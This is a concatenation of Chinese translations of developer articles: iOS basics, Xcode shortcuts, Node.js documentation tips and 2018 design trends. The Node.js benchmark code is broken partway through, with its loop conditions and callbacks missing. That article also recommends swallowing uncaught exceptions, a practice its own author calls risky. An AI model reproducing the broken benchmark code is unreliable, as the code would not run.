包含了各种的相关联的项目。项目可以多个 target(target指定了要构建的产品以及如何构建)。项目也可能有多种配置。Xcode scheme 定义了要构建的 target 集合、构建时使用的配置以及要执行测试的集合。 ![](https://cdn-images-1.medium.com/max/800/1*eW_7GjRt-gmV1XoBB2BhlA.png) #### 12 — 测试 如果你分配时间为你的应用编写测试代码,那你正走向正轨。它不是万能的,不能避免每一个错误,也不能保证你的应用没有任何问题,但我还是觉得好处多于坏处。 让我们从单元测试开始 **坏处:** - 开发时间增加; - 代码量增加。 **好处:** - 强制的创建模块化代码 (这样才利于测试); - 显然,更多的 bug 会在正式版本发布前被找到; - 更好维护。 配合 **Instruments** 工具,你已经拥有了所有让你应用变得流畅的工具,无论从处理 bug 角度还是解决崩溃的角度。 有不少的工具可以测试你的应用有什么问题。你可以根据你想要知道的,来选择其中的一个或者多个。最常用的,大概就是 Leak Checks(内存泄露检测),Profile Timer(性能调优) 和 Memory Allocation(内存分配)了。 #### 13 — 定位 很多应用会有一些功能需要知道用户的位置。所以了解一下 iOS 上定位系统的基本知识是一个不错的点子。 有个叫做 Core Location 的框架给了你需要的一切: > Core Location 框架,可以让你确定与设备相关的当前位置或方向。它通过可用的硬件来确认用户的位置与方向。你可以使用框架内部的类和协议来配置或计划位置的变更和方向的转变。你也可以使用它来定义地理区域,并监控用户何时跨越边界。在 iOS 里,你也可以定义一个蓝牙信标区域。 很不错是吧?查看苹果的官方文档和示例代码,来更好的了解你能做什么以及怎么做。 [**关于定位服务和地图** *描述了定位和地图服务的使用* developer.apple.com](https://developer.apple.com/library/content/documentation/UserExperience/Conceptual/LocationAwarenessPG/Introduction/Introduction.html#//apple_ref/doc/uid/TP40009497) #### 14 — 字符串本地化 这是每个应用都需要实现的。它允许应用根据所在地区而改变语言。即使你的应用只有一种语言,在将来也可能会有添加另一种语言的情况。如果所有的文本都使用了字符串本地化,需要做的所有工作就是为新语言添加一个 Localizable.strings 文件的翻译版本。 可以通过文件检查器将资源添加到一个语言。 要使用 NSLocalizedString 获取字符串,所有你要做的就是下面的内容: NSLocalizedString(key:, comment:) 不幸地是,往 Localization 文件里添加新字符串是手动的。以下是一个结构示例: { "APP_NAME" = "MyApp" "LOGIN_LBL" = "Login" ... } 现在一个相对应的,不同语言(葡萄牙语),Localizable 文件格式: { "APP_NAME" = "MinhaApp" "LOGIN_LBL" = "Entrar" ... } 甚至有办法实现复数。😁 ================================================ FILE: TODO/17-xcode-tips-and-tricks-that-every-ios-developer-should-know.md ================================================ > * 原文地址:[17 Xcode Tips and Tricks That Every iOS Developer Should Know](https://www.detroitlabs.com/blog/2017/04/13/17-xcode-tips-and-tricks-that-every-ios-developer-should-know/) > * 原文作者:[Elyse Turner](https://www.detroitlabs.com/blog/author/elyse-turner/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/17-xcode-tips-and-tricks-that-every-ios-developer-should-know.md](https://github.com/xitu/gold-miner/blob/master/TODO/17-xcode-tips-and-tricks-that-every-ios-developer-should-know.md) > * 译者:[PTHFLY](https://github.com/pthtc) > * 校对者:[Danny1451](https://github.com/Danny1451)、[ryouaki](https://github.com/ryouaki) # 每个 iOS 开发者都该知道的 17 个 Xcode 小技巧 ![](https://dl-blog-uploads.s3.amazonaws.com/2017/Apr/dual_screen_1745705-1492006265590.png) 对于 iOS 开发者,尤其是新手,来说,Xcode 可谓太过复杂,但是不要害怕!我们在这里帮助你。 Xcode 可以帮助你、允许你做的事情非常多。熟悉你的 IDE 是最简单有效增进实力的方法之一。 在对抗越来越臃肿的 Xcode 方面,我们底特律实验室没有新手,并且想与你分享我们的对抗策略。在底特律实验室的开发者投票之后,这是 17 个我们最受欢迎的 Xcode 小技巧。 **键位参考:** * `⌃`: Control * `⌘`: Command * `⌥`: Option * `⇧`: Shift * `⏎`: Return * * * **1)** 上下移动一整行或者许多行代码:使用 `⌘ ⌥ {` 上移 或者 `⌘ ⌥ }` 下移。如果你选择了一些内容, Xcode 会移动所有你选择的代码行;否则,只会移动光标所在的那一行。 **2)** 使用 tabs 来保持聚焦。Tab 可以在不同使用情况下被单独配置和优化。Tab可以在`Behaviors`[1]中被命名以及使用。 **3)** 使用 `Behaviors` 来根据上下文显示有用的面板。 * `Behaviors` 在 Xcode 回应某个事项时是重要的偏好设置。当你开始构建的时候,你可以设置一个偏好来打开一个窗口来响应成功、失败、开始调试等等。 * **有趣的事实:** 在测试失败的时候,你可以将播放音乐作为一个 `behavior` 。一个这儿的开发者喜欢用『 The Price is Right. 』的音乐当做失败音。 **4)** 以辅助编辑窗模式打开文件。当使用『快速打开』( `⌘ ⇧ O` )时,按住 `⌥` 的同时按 `return`。 **5)** 当光标处于显示『 Copy Qualified Symbol Name 』命令的方法内,使用 `⌘ ⇧ ⌃ ⌥ C` 会以一个优质、容易粘贴的格式拷贝方法名称。(译者注:例如`[UIColor colorWithRed:255/255.0f green:127/255.0f blue:80/255.0f alpha:1]`将会被拷贝为`+[UIColor colorWithRed:green:blue:alpha:]`。) **6)** 当按住 `⌥` 并点击代码或方法时,有效地使用 Xcode 解析的行内文档可以提供帮助。 **7)** 在全局范围一次性更改某个变量名,可以使用 `⌘ ⇧ E`[2]。 **8)** 你是否使用终端进入一个文件夹并且不确定你的工程使用的是 Xcode 的 workspaces 或者 仅仅是 project ?只需要运行 `open -a Xcode` 来打开文件夹本身 Xcode 会自动识别。专业提示:把这个加入你的 `.bash_profile` ,使用一个牛逼的名字(比如 `workit` )来让你看起来像一个真的骇客。 **9)** Xcode 中显示和隐藏的快捷键。 * `⌘ ⇧ Y` : 显示/隐藏调试区域 * `⌘ ⌥ ⏎` : 显示辅助编辑器 * `⌘ ⏎` : 隐藏辅助编辑器 **10)** 使用 `⌘ A ^ I` 进行自动缩进代码 **11)** [LICEcap](http://www.cockos.com/licecap/) 对于制作在模拟器中的 GIF 动图非常有帮助,用于项目评审非常棒。在 LICEcap 上方,你可以使用 QuickTime 在屏幕上来分享你的硬件(做一个示范或者使用 LICEcap 制作 GIF )。 在你的 iPhone 或者 iPad 插入的情况下,打开 QuickTime Player,点击 File -> New Movie Recording。然后点击记录按钮旁边的向下箭头,选择你的连接设备。这对于远程展示很有用,使用 LICEcap 来制作 GIF 或者为展示制作真机视频。![](https://dl-blog-uploads.s3.amazonaws.com/2017/Apr/Screen_Shot_2017_04_12_at_11_41_31_AM-1492011708141.png) **12)** 按下 `⌥ ⇧` 然后点击项目导航栏中的文件打开一个选择窗口,这时你可以选择在编辑器的哪个位置显示打开的文件。 **13)** 按住 `⌥` 的同时点击一个项目导航栏中的文件,它会显示在辅助编辑器中。 **14)** 把导航面板(显示在 Xcode 界面的左边)想成是『 Command 』面板。那是因为按住 `⌘` 的同时按一个数字键可以切换到导航栏内相关的『标签』。例如,`⌘ 1` 打开项目导航;`⌘ 7` 打开断点导航。相似的,把工具面板看作『 Command+Option 』窗口,`⌘ ⌥ 1` 也可以打开那个面板的第一个标签 —— 文件检查器。 **15)** `⌥ ⌘ ↑` 和 `⌥ ⌘ ↓` 在相关文件中进行导航(例如 .m .h 和 .xib 文件)。 **16)** 如果你在与 `code signing` 作战而 Xcode 说你没有一个有效的符合 `provisioning profile` 的签名身份,它可能会显示给你一个看起来随机、没有什么意义的码。find-identity 会很有帮助。命令 `Security find-identity -v` 会显示出一件安装的有效身份。 **17)** 在你的层层叠叠的文件夹中讯中某个文件夹非常浪费时间。在 Xcode 8 中,你可以使用『 Open Quickly 』对话框或者 `⌘ ⇧ O` 来省点时间。当它打开了你可以输入你正寻找的文件的文件名的任何部分来找到它。 你是一个 iOS 开发者吗?看看在这里工作是怎样的体验,如果你有兴趣的话,[点此申请](https://detroitlabs.workable.com/j/F1D69FF0B5)! 译者注: 1. `Behaviors` 可以在`偏好设置`中找到 2. 此处意思是缓存选中的变量名,此时进行 `Replace` 操作时,替换内容将会直接显示为缓存的内容,而不是空白一片。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/19-things-i-learnt-reading-the-nodejs-docs.md ================================================ > * 原文地址:[19 things I learnt reading the NodeJS docs](https://hackernoon.com/19-things-i-learnt-reading-the-nodejs-docs-8a2dcc7f307f#.8iaiz8xls) * 原文作者:[David Gilbertson](https://hackernoon.com/@david.gilbertson) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:jacksonke20120711@gmail.com * 校对者:[mortyu](https://github.com/mortyu), [rottenpen](https://github.com/rottenpen) # 阅读 NodeJS 文档,我学到了这 19 件事情 我相信我对 Node 了若指掌。我这 3 年来写的网站都是用 Node 来开发的。但实际上,我从没有详细查看 Node 文档。 长期的订阅者应该知道,我正处在书写每一个接口(interface),属性(prop),方法(method),函数(function),数据类型(data type)等等关于 Web 开发的漫漫长途中,这样可以填补我的知识面的空缺。在完成了 HTML,DOM, WebApi, CSS, SVG 和 EcmaScript 之后, Node 文档会是我的最后一站。 对我来说,这里面有很多宝贵的知识,所以我想简短地列举,并且分享它们。我会按吸引力从高到低列举它们,好比我见新朋友时的衣服顺序,(最吸引人的放外面 ^_^) ### 把 querystring 当作通用解析器 假设你从一些古怪的数据库中获取到的数据是一些键值对数组,格式像`name:Sophie;shape:fox;condition:new`。很自然的,你会将它当成一个 JavaScript 对象。你会将所取得的数据以`;`为分隔符切分成数组,然后遍历数组,用`:`分割,第一项作为属性,第二项作为该属性对应的值。 这样对吧? 不用这般麻烦的,你可以使用 `querystring` const weirdoString = `name:Sophie;shape:fox;condition:new`; const result = querystring.parse(weirdoString, `;`, `:`); // result: // { // name: `Sophie`, // shape: `fox`, // condition: `new`, // }; [**Query String | Node.js v7.0.0 Documentation** _By default, percent-encoded characters within the query string will be assumed to use UTF-8 encoding. If an alternative…_nodejs.org](https://nodejs.org/api/querystring.html#querystring_querystring_parse_str_sep_eq_options "https://nodejs.org/api/querystring.html#querystring_querystring_parse_str_sep_eq_options") ### V8 Inspector 运行 node,加上`--inspect`选项,会给出一个 URL 地址。粘贴该 URL 到 Chrome。哈哈,这就能用 Chrome DevTools 调试 Node,这多方便,多轻松。这篇文章有介绍如何使用[ how-to by Paul Irish over here ](https://medium.com/@paul_irish/debugging-node-js-nightlies-with-chrome-devtools-7c4a1b95ae27#.evhku718w). 虽然它现在还处于“试验”阶段,但是现在已经极大地解决了我的困挠。 [**Debugger | Node.js v7.0.0 Documentation** _Node.js includes a full-featured out-of-process debugging utility accessible via a simple TCP-based protocol and built…_nodejs.org](https://nodejs.org/api/debugger.html#debugger_v8_inspector_integration_for_node_js "https://nodejs.org/api/debugger.html#debugger_v8_inspector_integration_for_node_js") ### nextTick 和 setImmediate 的不同点 和多数情况一样,如果能给它们起个更贴切的名字,就很容易记住两者的不同了。 `process.nextTick()` 是 `process.sendThisToTheStartOfTheQueue()`.(译者注:放入队列的第一个位置) `setImmediate()` 应该被叫做 `sendThisToTheEndOfTheQueue()`.(译者注:放入队列的尾部,最后一个处理的) (题外话:React 中,我通常将`props`当成`stuffThatShouldStayTheSameIfTheUserRefreshes`,而将`state`当成`stuffThatShouldBeForgottenIfTheUserRefreshes`.这两者长度一致也是个意外,哈哈哈。) [**Node.js v7.0.0 Documentation** _Stability: 3 — Locked The timer module exposes a global API for scheduling functions to be called at some future period…_nodejs.org](https://nodejs.org/api/timers.html#timers_setimmediate_callback_args "https://nodejs.org/api/timers.html#timers_setimmediate_callback_args") [**process | Node.js v7.0.0 Documentation** _A process warning is similar to an error in that it describes exceptional conditions that are being brought to the user…_nodejs.org](https://nodejs.org/api/process.html#process_process_nexttick_callback_args "https://nodejs.org/api/process.html#process_process_nexttick_callback_args") [**Node v0.10.0 (Stable)** _I am pleased to announce a new stable version of Node. This branch brings significant improvements to many areas, with…_nodejs.org](https://nodejs.org/en/blog/release/v0.10.0/#faster-process-nexttick "https://nodejs.org/en/blog/release/v0.10.0/#faster-process-nexttick") ### Server.listen 只带一个参数对象 对于参数传递,我倾向于只使用一个参数 `options` ,而不是传 5 个没命名且必须按照特定顺序的参数。这可以在服务端监听连接时使用。 require(`http`) .createServer() .listen({ port: 8080, host: `localhost`, }) .on(`request`, (req, res) => { res.end(`Hello World!`); }); 这个文档比较隐蔽,它并不在`http.Server`的方法列表里,而是在`net.Server`中(`http.Server`继承`net.Server`) [**net | Node.js v7.0.0 Documentation** _Stops the server from accepting new connections and keeps existing connections. This function is asynchronous, the…_nodejs.org](https://nodejs.org/api/net.html#net_net_createserver_options_connectionlistener "https://nodejs.org/api/net.html#net_net_createserver_options_connectionlistener") ### 相对路径 传入`fs`模块方法的路径可以是相对路径。这是相对于`process.cwd()`。这可能多数人都知道了,但我以前一直以为要传入绝对路径。 const fs = require(`fs`); const path = require(`path`); // why have I always done this... fs.readFile(path.join(__dirname, `myFile.txt`), (err, data) => { // do something }); // when I could just do this? fs.readFile(`./path/to/myFile.txt`, (err, data) => { // do something }); [**File System | Node.js v7.0.0 Documentation** _birthtime “Birth Time” — Time of file creation. Set once when the file is created. On filesystems where birthtime is…_nodejs.org](https://nodejs.org/api/fs.html#fs_file_system "https://nodejs.org/api/fs.html#fs_file_system") ### 路径解析 以前我会显摆的技术之一就是使用正则表达式从路径字符串中获取文件名和拓展名,这其实根本没有必要,需要做的仅仅是调用接口: myFilePath = `/someDir/someFile.json`; path.parse(myFilePath).base === `someFile.json`; // true path.parse(myFilePath).name === `someFile`; // true path.parse(myFilePath).ext === `.json`; // true [**Node.js v7.0.0 Documentation** _Stability: 2 — Stable The path module provides utilities for working with file and directory paths. It can be accessed…_nodejs.org](https://nodejs.org/api/path.html#path_path_parse_path "https://nodejs.org/api/path.html#path_path_parse_path") ### 使用不同颜色来记录日志 使用`console.dir(obj, {colors: true})`可以使用预先设置好的配色方案打印日志,这样更易于阅读。 [**Console | Node.js v7.0.0 Documentation** _The console functions are usually asynchronous unless the destination is a file. Disks are fast and operating systems…_nodejs.org](https://nodejs.org/api/console.html#console_console_dir_obj_options "https://nodejs.org/api/console.html#console_console_dir_obj_options") ### 让 setInterval() 不去影响应用的效率 假设你使用`setInterval()`来执行数据库清理操作,一天一次。默认情况下,只要`setInterval()`的请求还在, Node 的事件循环是不会停止的。如果你想让 Node 休息(我也不知道这样做的好处),你可以这么做: const dailyCleanup = setInterval(() => { cleanup(); }, 1000 * 60 * 60 * 24); dailyCleanup.unref(); 需要注意的是,如果你的队列中没有其它的请求(比如 http 服务监听),Node 会退出的。 [**Node.js v7.0.0 Documentation** _Stability: 3 — Locked The timer module exposes a global API for scheduling functions to be called at some future period…_nodejs.org](https://nodejs.org/api/timers.html#timers_timeout_unref "https://nodejs.org/api/timers.html#timers_timeout_unref") ### 使用 Signal 常量 可能你以前会这样处理 kill: process.kill(process.pid, `SIGTERM`); 如果计算机编程的历史不存在由错字引发的错误,这样做没什么错的。但是实际上这是发生过的。第二个参数可以是带上'string'**或者**对应的 int ,你可以使用下面更健壮的方式 process.kill(process.pid, os.constants.signals.SIGTERM); ### IP 地址有效性验证 Node 已经有内置的 IP 地址校验器。我以前不止一次自己写正则表达式去做这个。好蠢(┬_┬) `require(`net`).isIP(`10.0.0.1`)` will return `4`. `require(`net`).isIP(`cats`)` will return `0`. 因为`cats`并不是一个IP地址 如果你没注意到,我正经历着这么个阶段,字符串使用反引号包起来, 它在我身上越来越多,但我知道它看起来很奇怪,所以我特意提到它。。。(作者的唠叨) [**net | Node.js v7.0.0 Documentation** _Stops the server from accepting new connections and keeps existing connections. This function is asynchronous, the…_nodejs.org](https://nodejs.org/api/net.html#net_net_isip_input "https://nodejs.org/api/net.html#net_net_isip_input") ### os.EOL 你曾经对行结束符硬编码吗? 我的天! `os.EOL`是专门为你准备的,它在 Windows 操作系统上为`\r\n`,在其它系统上是`\n`。[使用 os.EOL ](https://github.com/sasstools/sass-lint/pull/92/files) 能让你的代码在不同的操作系统上表现一致。 const fs = require(`fs`); // bad fs.readFile(`./myFile.txt`, `utf8`, (err, data) => { data.split(`\r\n`).forEach(line => { // do something }); }); // good const os = require(`os`); fs.readFile(`./myFile.txt`, `utf8`, (err, data) => { data.split(os.EOL).forEach(line => { // do something }); }); [**OS | Node.js v7.0.0 Documentation** _{ model: ‘Intel(R) Core(TM) i7 CPU 860 @ 2.80GHz’, speed: 2926, times: { user: 252020, nice: 0, sys: 30340, idle…_nodejs.org](https://nodejs.org/api/os.html#os_os_eol "https://nodejs.org/api/os.html#os_os_eol") ### 状态码查询 HTTP 状态码及其对应的易读性的名字是可以查询的。`http.STATUS_CODES`正是我这里想说的,它的键是个状态码,值对应其状态的简短描述。 ![](https://d262ilb51hltx0.cloudfront.net/max/1600/1*68Kp8_XfEM3gUoS__WGx9Q.png) 所以你可以这么做: someResponse.code === 301; // true require(`http`).STATUS_CODES[someResponse.code] === `Moved Permanently`; // true [**HTTP | Node.js v7.0.0 Documentation** _The HTTP interfaces in Node.js are designed to support many features of the protocol which have been traditionally…_nodejs.org](https://nodejs.org/api/http.html#http_http_status_codes "https://nodejs.org/api/http.html#http_http_status_codes") ### 预防崩溃 我一直认为下面的这种错误导致的服务崩溃是非常荒谬的: const jsonData = getDataFromSomeApi(); // But oh no, bad data! const data = JSON.parse(jsonData); // Loud crashing noise. 预防这种可笑的错误,你可以在你 app 的中使用`process.on(`uncaughtException`, console.error);` 当然,我不是傻瓜,在付费的项目中,我会使用[ PM2 ](http://pm2.keymetrics.io/),同时把所有的东西都装到`try...catch`语句中。但是,私人免费项目就另说 o_o .... 警告,这个[并非最好的练习](https://nodejs.org/api/process.html#process_warning_using_uncaughtexception_correctly),在大点复杂点的 app 中,这甚至可能是个坏主意。这需要你来决定是否要信任一个家伙的博客文章或官方文档。 [**process | Node.js v7.0.0 Documentation** _A process warning is similar to an error in that it describes exceptional conditions that are being brought to the user…_nodejs.org](https://nodejs.org/api/process.html#process_event_uncaughtexception "https://nodejs.org/api/process.html#process_event_uncaughtexception") ### Just this once() 对所有的事件发送者(EventEmitters),除了`on()`方法之外,还有`once()`,我很确认我是地球上最后一个学到这点的人 (T_T) server.once(`request`, (req, res) => res.end(`No more from me.`)); [**Events | Node.js v7.0.0 Documentation** _Much of the Node.js core API is built around an idiomatic asynchronous event-driven architecture in which certain kinds…_nodejs.org](https://nodejs.org/api/events.html#events_emitter_once_eventname_listener "https://nodejs.org/api/events.html#events_emitter_once_eventname_listener") ### 定制控制台 你可以使用 `new console.Console(standardOut, errorOut)` 创建你自己的控制台,传入你自己的输出流。 为什么要定制控制台? 我也不知道。或许想要将一些内容输出到文件,套接字,或者其他东西的时候,会考虑定制控制台。 [**Console | Node.js v7.0.0 Documentation** _The console functions are usually asynchronous unless the destination is a file. Disks are fast and operating systems…_nodejs.org](https://nodejs.org/api/console.html#console_new_console_stdout_stderr "https://nodejs.org/api/console.html#console_new_console_stdout_stderr") ### DNS查询结果 Node [不缓存 DNS 返回的结果](https://github.com/nodejs/node/issues/5893).所以当你一次又一次地查询同一个 URL 的时候,其实已经浪费了很多宝贵的时间。这种情况下,你完全可以自己调用`dns.lookup()`并缓存结果的。或者可以[这么](https://www.npmjs.com/package/dnscache)做,这个是先前有人实现的。 dns.lookup(`www.myApi.com`, 4, (err, address) => { cacheThisForLater(address); }); [**DNS | Node.js v7.0.0 Documentation** _2) Functions that connect to an actual DNS server to perform name resolution, and that always use the network to…_nodejs.org](https://nodejs.org/api/dns.html#dns_dns_lookup_hostname_options_callback "https://nodejs.org/api/dns.html#dns_dns_lookup_hostname_options_callback") ### `fs`模块是多操作系统兼容性的雷区 如果你写代码的风格和我一样--阅读最少的知识,微调程序,直到它可以运行。那么,你很有可能也会触到`fs`模块的雷区。虽然 Node 为多操作系统的兼容性做了很多,但毕竟也只能做到那么多。许多 OS 的不同特性就像代码海洋中突起的珊瑚瞧,每个瞧石都隐藏着风险。而你,仅仅是小船。 不幸的是,这些不同点不仅仅是存在于 Windows 和其它操作系统之间,所以,你不能简单的自我安慰“哇,太好了,没人使用 Windows”。(我写过一大篇反对使用 Windows 来进行 Web 开发的文章,但我自己把它删了,因为那些说教,连我自己看了都翻白眼)。 下面这些是你在使用`fs`模块时,可能碰到的坑 * `fs.stats()`返回的`mode`属性在 Windows 和其它操作系统上是不同的(在 Windows 上没有匹配一些文件模式常量,比如 `fs.constants.S_IRWXU`) * `fs.lchmod()`只能在 macOS 中使用 * `fs.symlink()` 的`type`参数只可能在 Windows 上使用 * `fs.watch()` 选项`recursive`只能在 macOS 和 Windows 中使用。 * `fs.watch()` 在 Windows 和 Linux 上,回调只会接受一个文件名 * `fs.open()` 打开一个文件夹,在 FreeBSD 和 Windows 上使用`a+`属性是可以的,但是在 macOS 和 Linux 上是不行的。 * `fs.write()` 在linux上,当文件是以append的方式打开的,参数`position`是会被直接忽视掉的,直接在文件末尾添加。 (我还算挺赶时髦的,我已经改用`macOS`了,`OS X`只用了 49 天) [**File System | Node.js v7.0.0 Documentation** _birthtime “Birth Time” – Time of file creation. Set once when the file is created. On filesystems where birthtime is…_nodejs.org](https://nodejs.org/api/fs.html "https://nodejs.org/api/fs.html") ### net 模块是 http 模块速度的两倍 阅读文档,我学到了`net`模块是个事儿。它支撑着`http`模块。这会让我思索,假如我只想做服务器间的通讯 (server-to-server communication ),我是不是只需要使用`net`模块? 网上的人或许很难相信我不能凭直觉获得答案。作为一个 Web 开发者,我一开始就扎进了服务端的世界里,我知道 http 但是其他方面并不是很多。所有的 TCP, 套接字,流之类的对我来说就像[日本摇滚](https://www.youtube.com/watch?v=FQgH4G3qypI).我真的不是很明白,但是我很好奇。 为了比较验证我的想法,我建立了多个服务端程序,(我相信这时你肯定在听日本摇滚了),并且发送了多个请求。结论是 `http.Server`每秒中处理了大约3,400个请求,`net.Server`每秒钟处理5,500个。 它其实也很简单。 如果你感兴趣的话,可以查看我的代码。如果不感兴趣,那不好意思,需要你滚动页面了。 // This makes two connections, one to a tcp server, one to an http server (both in server.js) // It fires off a bunch of connections and times the response // Both send strings. const net = require(`net`); const http = require(`http`); function parseIncomingMessage(res) { return new Promise((resolve) => { let data = ``; res.on(`data`, (chunk) => { data += chunk; }); res.on(`end`, () => resolve(data)); }); } const testLimit = 5000; /* ------------------ */ /* -- NET client -- */ /* ------------------ */ function testNetClient() { const netTest = { startTime: process.hrtime(), responseCount: 0, testCount: 0, payloadData: { type: `millipede`, feet: 100, test: 0, }, }; function handleSocketConnect() { netTest.payloadData.test++; netTest.payloadData.feet++; const payload = JSON.stringify(netTest.payloadData); this.end(payload, `utf8`); } function handleSocketData() { netTest.responseCount++; if (netTest.responseCount === testLimit) { const hrDiff = process.hrtime(netTest.startTime); const elapsedTime = hrDiff[0] * 1e3 + hrDiff[1] / 1e6; const requestsPerSecond = (testLimit / (elapsedTime / 1000)).toLocaleString(); console.info(`net.Server handled an average of ${requestsPerSecond} requests per second.`); } } while (netTest.testCount { httpTest.responseCount++; if (httpTest.responseCount === testLimit) { const hrDiff = process.hrtime(httpTest.startTime); const elapsedTime = hrDiff[0] * 1e3 + hrDiff[1] / 1e6; const requestsPerSecond = (testLimit / (elapsedTime / 1000)).toLocaleString(); console.info(`http.Server handled an average of ${requestsPerSecond} requests per second.`); } }); } while (httpTest.testCount { console.info(`Starting testNetClient()`); testNetClient(); }, 50); setTimeout(() => { console.info(`Starting testHttpClient()`); testHttpClient(); }, 2000); // This sets up two servers. A TCP and an HTTP one. // For each response, it parses the received string as JSON, converts that object and returns a string const net = require(`net`); const http = require(`http`); function renderAnimalString(jsonString) { const data = JSON.parse(jsonString); return `${data.test}: your are a ${data.type} and you have ${data.feet} feet.`; } /* ------------------ */ /* -- NET server -- */ /* ------------------ */ net .createServer((socket) => { socket.on(`data`, (jsonString) => { socket.end(renderAnimalString(jsonString)); }); }) .listen(8888); /* ------------------- */ /* -- HTTP server -- */ /* ------------------- */ function parseIncomingMessage(res) { return new Promise((resolve) => { let data = ``; res.on(`data`, (chunk) => { data += chunk; }); res.on(`end`, () => resolve(data)); }); } http .createServer() .listen(8080) .on(`request`, (req, res) => { parseIncomingMessage(req).then((jsonString) => { res.end(renderAnimalString(jsonString)); }); }); [**net | Node.js v7.0.0 Documentation** _Stops the server from accepting new connections and keeps existing connections. This function is asynchronous, the…_nodejs.org](https://nodejs.org/api/net.html "https://nodejs.org/api/net.html") ### REPL技巧 1. 当你处于 REPL(那是你在控制台敲入`node`,并按了回车键的情形),你可以敲入`.load someFile.js`,这时,它会将这个文件的内容加载进来。(比如,你可以加载一个包含大量常量的文件)。 2. 当你设置环境变量`NODE_REPL_HISTORY=""`,这样可以禁止 repl 的历史写入文件中。同时我也学到(至少是被提醒了)REPL 的历史默认是写到`~/.node_repl_history`中,当你想回忆起之前的 REPL 历史时,可以上这儿查。 3. `_` 这个变量,保存着上一次的计算结果. 相当方便! 4. 当你进入 REPL 模式中时,模块都已经为你加载好了。所以了,比如说,你可以直接敲入`os.arch()`查看操作系统体系结构。你不需要先敲入`require(`os`).arch();` (注: 确的说,是按需加载的模块.) ================================================ FILE: TODO/2018-design-trends.md ================================================ > * 原文地址:[2018 Design Trends](https://www.behance.net/gallery/59540015/2018-Design-Trends) > * 原文作者:[Mark Banaynal](https://www.behance.net/markbnynl), [Epicco Digital](https://www.behance.net/infoe9291e3c) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/2018-design-trends.md](https://github.com/xitu/gold-miner/blob/master/TODO/2018-design-trends.md) > * 译者:[pot-code](https://github.com/pot-code) > * 校对者:[wzy816](https://github.com/wzy816)、[ryouaki](https://github.com/ryouaki) # 2018 设计趋势 ![](https://mir-s3-cdn-cf.behance.net/project_modules/1400/ceb29959540015.5a2e0a1760c84.jpg) 为项目选一个合适的设计风格越来越关键,挑战也很大。如何才能吸引观众呢,怎样才能让自己的设计从竞争激烈、信息过载的市场中脱颖而出呢?即便这是个信息驱动的世界,设计还是有机会让人们在情感上产生共鸣,从而打造出符合人直觉的交互体验。 ## 双色调和双重曝光 2015 年末,Pantone(潘通)公布了 2016 年的代表色为静谧蓝(Serenity)和粉晶(Rose Quartz),这一声明震惊了设计界。可能正是因为这点,引领了数码界渐渐使用双色调的趋势。到了 2016 年,大量网站开始采用双色调的设计风格,试图营造一种富有冲击力和活力的氛围,典型的如 SpotifyBy。最后到了 2017 年,这种风格已经烂大街了。2018 年比以前还是有所进步:多了双重曝光的效果,倒也能在某些照片中表现出均衡的色感、增加一点戏剧性。 ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/977c3359540015.5a264983aaf6c.png) [Adison Partner's Website](http://www.adisonpartners.com/) ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/9fba3259540015.5a264983aac00.jpg) [Spotlight Festival Identity](https://www.behance.net/gallery/58313279/Spotlight-Festival-Identity),摘自 [Manitou Design](https://www.behance.net/manitoudesign),由 [Kristina Udovichenko](https://www.behance.net/kristina_udovichenko) 和 [Shamil Karim](https://www.behance.net/shamilkarimov) 联合设计 ![](https://mir-s3-cdn-cf.behance.net/project_modules/disp/8e745259540015.5a264b3a89a98.jpg) [7h10 Double Color Exposure](https://graphicriver.net/user/7h10) ## 更大胆的用色 虽然最近渐变色大有回归之势,但大胆、鲜明的色系在设计界仍然有着不可撼动的地位。毕竟在让人眼花缭乱的品牌设计中,没有什么能比大胆和鲜明的用色更加出类拔萃、让人印象深刻了。但是,一旦决定使用大胆色系,就要斟酌色彩之间的搭配问题,还要考虑如何才能更好的凸显出品牌形象,抓住目标观众的心。 [Simply Chocolate Website](https://simplychocolate.dk/) ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/4cb37a59540015.5a264f2e343c5.png) Visión Yo Soy 的商业铭牌,由 [Eduardo Vázquez](https://www.behance.net/edkills) 为 [Qualium](https://www.behance.net/qualiummx) 设计 ## 更加生动的渐变 大胆色如日中天,渐变色也不甘示弱,相比以前有了很大的进步。渐变回归设计界后,也算是站住了脚跟:品牌设计、web 设计、logo 设计、用户界面设计等都陆续开始使用渐变元素。双色、三色或者色彩大满贯的组合让设计更显得有范,富有吸引力。 ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/81e08a59540015.5a2dfec1aa839.png) Magic.co 的首页,由 [Ludmila Shevchenko](https://dribbble.com/LudmilaShevchenko) 设计 ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/f43fcc59540015.5a2654e99c3cb.jpg) [Gradient Studies 12](https://www.behance.net/gallery/51830921/Gradient-Studies),由 [Evgeniya Righini-Brand](https://www.behance.net/jackie-kaydo) 设计 ![](https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/da3d5559540015.5a2654e99c88e.png) [KIWI Rebranding](https://www.behance.net/gallery/43220641/KIWI-Rebranding-and-Website),由 [Fabio Pistoia](https://www.behance.net/fabiopistoia) 设计 ## 几何图样 继扁平设计和极简主义之后,几何系逐渐成为设计界的新宠。再加上大胆的用色,几何系适当增加了视觉上的复杂性,还有那么点视觉刺激,不过也正是这样才能足够吸睛。 